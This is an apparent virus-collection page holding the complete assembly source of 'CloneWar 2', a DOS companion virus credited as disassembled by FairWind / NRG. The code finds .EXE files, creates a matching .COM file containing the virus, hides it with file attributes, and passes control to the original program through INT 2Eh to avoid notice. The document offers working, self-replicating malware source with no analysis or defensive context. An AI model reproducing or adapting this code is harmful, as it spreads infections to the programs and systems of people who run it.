OneHalf  Virii

CLONWAR 2

; --------------------------------------------------------------------------
; Disassembled by FairWind / NRG , [email protected]
; --------------------------------------------------------------------------

CSEG SEGMENT
ASSUME CS:CSEG,DS:NOTHING

ORG 100H

START:
jmp VIR_BEGIN


; db "[CloneWar2]"
WILDCARD DB "*.EXE",0
FILE_EXT DB "COM",0
FILE_FOUND DB 12 DUP(' '), 0
FILE_CREATE DB 12 DUP(' '), 0
SEARCH_ATTRIB DW 17H
NUM_INFECT DW 0


My_Cmd:
CMD_LEN DB 13
FILE_CLONE DB 12 DUP (' '), 0

Vir_begin:

mov sp,offset STACK_HERE
mov bx,sp
add bx,15
mov cl,4
shr bx,cl
mov ah,4ah
int 21h

mov di,OFFSET FILE_CLONE
mov si,OFFSET FILE_FOUND
mov cx,12
rep movsb

Read_dir: mov dx,OFFSET WILDCARD
mov cx,SEARCH_ATTRIB

mov ah,4Eh
int 21h

jc EXIT

Store_name:

mov di,OFFSET FILE_FOUND
mov si,158
mov cx,12
rep movsb

mov di,OFFSET FILE_CREATE
mov si,158
mov cx,12
rep movsb

cld
mov di,OFFSET FILE_CREATE
mov al,'.'
mov cx,9
repne scasb

mov si,OFFSET FILE_EXT
mov cx,3
rep movsb

Check_file:
mov dx,OFFSET FILE_CREATE
xor cx,cx
mov ax,3d00h
int 21h
jnc find_next

Infect_file:

mov dx,OFFSET FILE_CREATE
xor cx,cx
mov ah,3ch
int 21h
jc EXIT

xchg bx,ax
mov cx,(OFFSET END_OF_CODE - OFFSET START)
mov dx,OFFSET START
mov ah,40h
int 21h

;Close file
mov ah,3eh
int 21h

mov dx,OFFSET FILE_CREATE
mov cx,3
mov ax,4301h
int 21h
jmp prepare_command

find_next:
mov ah, 4fh
int 21h
jmp store_name

Prepare_command:

cld
mov di,OFFSET FILE_CLONE
mov al,0
mov cx,12
repne scasb

mov al,0Dh
stosb

mov ax,12
sub ax,cx
mov CMD_LEN, al


Exit:
mov si, OFFSET MY_CMD
int 2Eh
mov ax,4C00H
int 21h


END_OF_CODE = $

STACK_HERE EQU END_OF_CODE + 512

CSEG ENDS
END START